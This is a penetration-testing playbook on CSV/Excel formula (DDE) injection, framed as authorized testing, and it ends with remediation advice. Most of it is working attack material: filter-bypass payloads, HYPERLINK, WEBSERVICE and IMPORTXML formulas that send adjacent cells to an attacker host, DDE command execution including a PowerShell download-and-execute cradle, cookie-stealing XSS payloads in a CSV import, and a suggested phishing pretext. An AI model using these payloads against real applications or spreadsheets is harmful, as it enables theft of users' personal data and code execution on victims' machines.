Identifying and exploiting CSV/Excel formula (DDE) injection in import and export features where attacker-controlled data is written into spreadsheets and executed when opened in Excel or LibreOffice.
Identifying and exploiting CSV/Excel formula (DDE) injection in import and export features where attacker-controlled data is written into spreadsheets and executed when opened in Excel or LibreOffice.
During authorized penetration tests of any application that exports user-controlled data to CSV, XLS, or XLSX
When the target has "Export to CSV/Excel", report generators, audit logs, or admin dashboards that dump user-submitted fields
When user input (name, address, comment, support ticket, profile field) is later downloaded and opened by another user or an administrator in a spreadsheet client
For validating that exported fields are neutralized (prefixed/escaped) before reaching a spreadsheet engine
During bug bounty programs targeting injection and client-side code execution via documents
Prerequisites
Authorization: Written penetration testing agreement covering client-side execution payloads
Microsoft Excel and LibreOffice Calc: To validate behavior across both engines (DDE differs)
A controlled victim VM: To safely detonate command-execution payloads (never on production endpoints)
Collaborator/OOB host: Burp Collaborator, interactsh, or a logging webhook to confirm HYPERLINK/WEBSERVICE callbacks
Two test accounts: One to inject (attacker), one to export/open (victim/admin) where the workflow allows
Burp Suite or curl: For submitting payloads into import/profile fields
Critical: Checks Most Often Missed
CSV injection is missed because the injection point and the execution point are
in different places — input is stored by the web app but only "fires" later in a
desktop spreadsheet. Work through this checklist for every exportable field:
Trace input to every export, not just the obvious one. A name field may be
safe in the profile page but exported raw in an admin CSV, a billing report, an
audit log, or an analytics dump. Find the field that an admin opens.
Test all four trigger prefixes. A field is vulnerable if a cell begins with
=, +, -, or @. Filters that strip only = still allow +1+1,
-1+1, and @SUM(1+1).
Leading whitespace / control-char bypass. Excel trims a leading space, tab
(\t), carriage return (\r), or line feed before parsing, so =1+1 or
\t=cmd|... defeats a naive "starts with " check while still executing.
=
Comma/quote breakout to control the cell. If your value lands mid-row,
inject " or , to break out and start a fresh cell, e.g.
foo","=2+5","bar so the formula occupies its own cell.
The exfil payloads are the real impact.=HYPERLINK and =WEBSERVICE
leak other cells (other users' PII in the same sheet) to your server with one
click and no macro warning in many configs — confirm with an OOB callback.
DDE command execution path.=cmd|'/c calc'!A1 (and =DDE(...)) launches
external programs; modern Excel shows a prompt, but users click through, and
legacy/registry-tweaked or LibreOffice setups may auto-run.
The stored-XSS-via-CSV variant. If the "CSV" is rendered in a browser
(preview pane, in-app table from the uploaded file, or served with the wrong
Content-Type), "><script>alert(document.domain)</script> becomes stored
XSS, not formula injection — test both outcomes.
Round-trip import→export. Upload a CSV containing payloads, then export it
back out. Apps often sanitize on display but not on re-export.
Workflow
Step 1: Map Input Sinks and Export Surfaces
Identify every field a user controls that can end up in a downloadable spreadsheet.
# Browse the app through Burp with the attacker account and catalog:# - Profile / account fields: name, company, address, bio, phone# - Free-text: support tickets, comments, reviews, notes# - Identifiers shown in lists: usernames, coupon codes, file names# - Bulk import features: "Import contacts/products from CSV"# Then find the EXPORT side (often admin-only):# GET /admin/users/export?format=csv# GET /reports/transactions.xlsx# GET /api/v1/orders/export# GET /audit/log/download# Confirm the export Content-Type and whether values are quoted:
curl -s -H "Authorization: $TOKEN_ADMIN" \
"https://target.example.com/admin/users/export?format=csv" -o export.csv
head -n 5 export.csv
# Note whether each field is wrapped in "..." and whether your stored value# appears verbatim (unescaped) at the start of a cell.
Step 2: Submit Detection Payloads (Benign Math First)
Use harmless arithmetic that proves the cell is being evaluated, not just stored as text.
# Inject one benign payload per field; the result in the opened sheet tells you:# - shows "2" => formula executed (VULNERABLE)# - shows "=1+1"=> stored as literal text (safe / neutralized)# Standard trigger characters (test ALL of them):
=1+1
+1+1
-1+1
@SUM(1+1)
=1+1)+cmd|'/c calc'!A1 # combined arithmetic + DDE probe# Whitespace / control-character bypass for "starts-with-=" filters:
=1+1 # leading space
=1+1 # leading tab
=1+1%0d # leading CR variants when submitted URL-encoded# Cell-breakout when your value lands inside an existing quoted field:
foo","=2*3","bar
# Example: store payload in the "company" profile field via API
curl -s -X PUT -H "Authorization: $TOKEN_ATTACKER" \
-H "Content-Type: application/json" \
-d '{"company":"=1+1"}' \
"https://target.example.com/api/v1/profile"
Step 3: Confirm Execution by Opening the Export
The vulnerability fires when the exported file is opened in a spreadsheet client.
# 1) Trigger / download the export that contains your stored payload:
curl -s -H "Authorization: $TOKEN_ADMIN" \
"https://target.example.com/admin/users/export?format=csv" -o poc.csv
# 2) Inspect raw bytes (confirm payload is unescaped at cell start):
grep -n "=1+1" poc.csv
# 3) Open in a spreadsheet to validate execution:
libreoffice --calc poc.csv # LibreOffice Calc# or open poc.csv in Microsoft Excel on the victim VM# Excel behavior: prompts "enable content?" for DDE; arithmetic evaluates# silently. LibreOffice evaluates =formulas by default (Tools > Options ># Calc > Formula governs this). Record exactly which engine executes and# whether a prompt appears.
Step 4: Weaponize — Data Exfiltration via HYPERLINK / WEBSERVICE
These payloads quietly leak other cells (other victims' data) to your server on click/open.
# HYPERLINK: builds a clickable link whose URL embeds a neighbouring cell.# When the victim clicks the link, your server logs the referenced data.
=HYPERLINK("http://attacker.oob.example/?d="&A1,"View report")
=HYPERLINK("http://attacker.oob.example/?leak="&CONCATENATE(A1,"-",B1),"Click")
# WEBSERVICE (Excel): fires an HTTP GET on OPEN — no click needed in many setups,# exfiltrating an adjacent cell as a query parameter:
=WEBSERVICE("http://attacker.oob.example/?d="&A2)
=WEBSERVICE(CONCATENATE("http://attacker.oob.example/?u=",A2))
# IMPORTLISTING / IMPORTXML (LibreOffice / Google Sheets analogue):
=IMPORTXML(CONCAT("http://attacker.oob.example/?v=",A1),"//a")
# Confirm the callback on your OOB listener:# GET /?d=victim.user@corp.example <-- exfiltrated cell content# Use Burp Collaborator or:
python3 -m http.server 8000 # watch the access log for inbound hits
Step 5: Weaponize — Command Execution via DDE
DDE (Dynamic Data Exchange) can launch local programs; useful to demonstrate full client compromise.
# Classic calc.exe proof (replace with a benign marker, NEVER live malware):
=cmd|'/c calc'!A1
=cmd|'/c calc.exe'!A0
@SUM(1+9)*cmd|'/c calc'!A0
# Batched / chained commands to prove arbitrary execution:
=cmd|'/c calc.exe&ping -n 1 attacker.oob.example'!A1
# PowerShell download-cradle pattern (use only on the controlled victim VM):
=cmd|'/c powershell IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.oob.example/p.txt\")'!A1
# Excel shows a chain of warnings ("remote data not accessible", "start app?").# Document whether the victim profile clicks through. Pair with a phishing# pretext in the report to reflect realistic user behavior.
Step 6: Test the Stored-XSS-via-CSV-Import Variant
If uploaded CSV content is rendered in the browser instead of (or before) being downloaded, you get stored XSS.
# Upload a CSV whose fields contain HTML/JS rather than formulas:cat > evil.csv <<'EOF'
name,email
"><script>alert(document.domain)</script>,a@a.test
"><img src=x onerror=alert(document.cookie)>,b@b.test
=HYPERLINK("javascript:alert(1)","x"),c@c.test
EOF
curl -s -X POST -H "Authorization: $TOKEN_ATTACKER" \
-F "file=@evil.csv;type=text/csv" \
"https://target.example.com/api/v1/contacts/import"# Then load the page that previews / lists imported rows:# - If the script executes => stored XSS via CSV import# - If the response Content-Type is text/html for the "CSV" download =># opening it in a browser executes the markup
curl -s -D - -H "Authorization: $TOKEN_ATTACKER" \
"https://target.example.com/contacts/preview" -o /dev/null | grep -i content-type
Key Concepts
Concept
Description
Formula trigger characters
A spreadsheet treats a cell as a formula when it starts with =, +, -, or @
DDE (Dynamic Data Exchange)
Legacy IPC mechanism abused via =cmd|'...'!A1 to launch external programs
HYPERLINK exfiltration
=HYPERLINK(url&cell,...) leaks adjacent cell data to an attacker URL on click
WEBSERVICE / IMPORTXML
Functions that issue outbound HTTP on open, enabling click-less exfiltration
Cell breakout
Using , or " to escape an existing quoted field and start a fresh formula cell
Whitespace bypass
Leading space/tab/CR is trimmed by Excel before parsing, defeating naive = filters
Stored XSS via CSV
When CSV content is rendered as HTML in a browser instead of a spreadsheet client
Neutralization
Prefixing risky cells with a single quote ' (or tab) to force literal text
Tools & Systems
Tool
Purpose
Microsoft Excel
Primary target engine; validates DDE prompts and WEBSERVICE on-open behavior
LibreOffice Calc
Cross-engine validation; evaluates formulas and IMPORTXML/WEBSERVICE differently
Burp Suite
Intercept and tamper import/profile requests; resend export requests
Burp Collaborator / interactsh
Out-of-band listener to confirm HYPERLINK/WEBSERVICE exfil callbacks
python3 -m http.server
Simple OOB receiver to capture exfiltrated cell data in access logs
csvlint / xsv
Inspect raw exported CSV structure and confirm unescaped payloads
Common Scenarios
Scenario 1: Profile Field to Admin Export
A user sets their company name to =WEBSERVICE("http://attacker.oob/?d="&A1). An administrator later exports the user list to CSV and opens it in Excel; the cell silently exfiltrates the adjacent username/email to the attacker.
Scenario 2: Support Ticket DDE
A free-text support ticket body stores =cmd|'/c calc'!A1. The support agent exports tickets to Excel for triage; opening the file prompts to run an external app, leading to command execution on the agent's workstation.
Scenario 3: CSV Import Round-Trip XSS
A contact-import feature stores "><script>alert(document.domain)</script> from an uploaded CSV. The in-app contacts table renders the field as HTML, producing stored XSS that fires for every user who views the contact list.
Scenario 4: Coupon/Username Enumeration Export
Usernames or coupon codes beginning with - or + (e.g. +44... phone numbers) are exported unescaped, both confirming the lack of neutralization and demonstrating that crafted values execute in finance/marketing exports.
Output Format
## CSV Formula Injection Finding
**Vulnerability**: CSV/Excel Formula (DDE) Injection
**Severity**: High (CVSS 8.0)
**Injection Point**: PUT /api/v1/profile field "company"
**Execution Point**: GET /admin/users/export?format=csv (opened in Excel/LibreOffice)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. As attacker account, set profile field "company" to: =WEBSERVICE("http://oob.example/?d="&A1)
2. As administrator, download GET /admin/users/export?format=csv
3. Open export.csv in Microsoft Excel
4. Observe an outbound HTTP request to oob.example carrying the adjacent cell value
5. Replace payload with =cmd|'/c calc'!A1 to demonstrate command execution on open
### Affected Fields / Exports
| Field | Stored Via | Exported By | Outcome |
|-------|-----------|-------------|---------|
| company | PUT /api/v1/profile | /admin/users/export | DDE exec + exfil |
| ticket_body | POST /api/v1/tickets | /admin/tickets.xlsx | DDE exec |
| display_name | PUT /api/v1/profile | contacts preview (HTML) | Stored XSS |
### Evidence
- OOB callback received: GET /?d=victim.user@corp.example
- Raw cell in export.csv: =WEBSERVICE("http://oob.example/?d="&A1)
- Filter bypassed leading-space variant: " =1+1" evaluated to 2
### Impact
- Client-side command execution on any staff member opening exports
- Exfiltration of other users' PII present in the same spreadsheet
- Stored XSS in the in-app contacts table when CSV is rendered as HTML
### Recommendation
1. Neutralize every exported cell that begins with =, +, -, @ (and leading
space/tab/CR) by prefixing a single quote ' or a tab character.
2. Wrap values in quotes and escape embedded quotes/commas per RFC 4180.
3. Reject or strip formula-leading characters at input validation for fields
known to be exported.
4. Serve CSV downloads with Content-Type: text/csv and
Content-Disposition: attachment to prevent in-browser HTML rendering.
5. Disable DDE and the WEBSERVICE/dynamic-data functions via Office group policy
on workstations that process untrusted exports.